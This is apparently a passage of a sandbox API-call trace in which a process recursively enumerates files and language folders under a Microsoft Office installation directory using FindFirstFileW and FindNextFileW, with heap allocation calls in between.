	[0164.466] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1
	[0164.466] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0
	[0164.466] FindClose (in: hFindFile=0x4140e18 | out: hFindFile=0x4140e18) returned 1
	[0164.467] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.467] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1042", cAlternateFileName="")) returned 1
	[0164.467] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4272990
	[0164.467] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1042\\*", lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41409d8
	[0164.467] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.467] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf145ad52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4278, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1
	[0164.467] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf145ad52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4278, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0
	[0164.467] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0164.467] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.467] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1046", cAlternateFileName="")) returned 1
	[0164.467] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4272990
	[0164.467] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1046\\*", lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140ad8
	[0164.468] FindNextFileW (in: hFindFile=0x4140ad8, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.468] FindNextFileW (in: hFindFile=0x4140ad8, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ba8090, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5278, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1
	[0164.468] FindNextFileW (in: hFindFile=0x4140ad8, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ba8090, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5278, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0
	[0164.468] FindClose (in: hFindFile=0x4140ad8 | out: hFindFile=0x4140ad8) returned 1
	[0164.468] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.468] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1049", cAlternateFileName="")) returned 1
	[0164.468] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4272990
	[0164.468] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1049\\*", lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140c18
	[0164.468] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.468] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff580e7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1
	[0164.469] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff580e7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0
	[0164.469] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0164.469] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.469] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefcf5b24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="2052", cAlternateFileName="")) returned 1
	[0164.469] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4272990
	[0164.469] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\2052\\*", lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefcf5b24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140dd8
	[0164.469] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefcf5b24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.469] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1
	[0164.469] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0
	[0164.469] FindClose (in: hFindFile=0x4140dd8 | out: hFindFile=0x4140dd8) returned 1
	[0164.469] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.469] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1
	[0164.469] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4272990
	[0164.470] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\3082\\*", lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140f98
	[0164.470] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.470] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x56b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1
	[0164.470] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x56b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0
	[0164.470] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0164.470] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.470] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 0
	[0164.470] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0164.470] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0164.470] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x28577965, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1
	[0164.470] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0164.470] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\*", lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x28577965, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140698
	[0164.471] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x28577965, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0164.471] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4512fb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd4512fb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1
	[0164.731] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4272990
	[0164.731] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\1033\\*", lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4512fb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd4512fb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140c18
	[0164.731] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4512fb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd4512fb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.731] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd4512fb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd4512fb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd48340d8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x175660, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1
	[0164.731] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2f2d53e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee60, dwReserved0=0x0, dwReserved1=0x0, cFileName="msointl30.dll", cAlternateFileName="MSOINT~1.DLL")) returned 1
	[0164.732] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2f2d53e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee60, dwReserved0=0x0, dwReserved1=0x0, cFileName="msointl30.dll", cAlternateFileName="MSOINT~1.DLL")) returned 0
	[0164.732] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0164.732] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.732] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63ed72c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63ed72c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1
	[0164.732] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="APC7B0~1.DLL")) returned 1
	[0164.732] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d76e38, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d76e38, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d76e38, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="AP6221~1.DLL")) returned 1
	[0164.732] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc5fa5d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc5fa5d2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc5fa5d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="AP750A~1.DLL")) returned 1
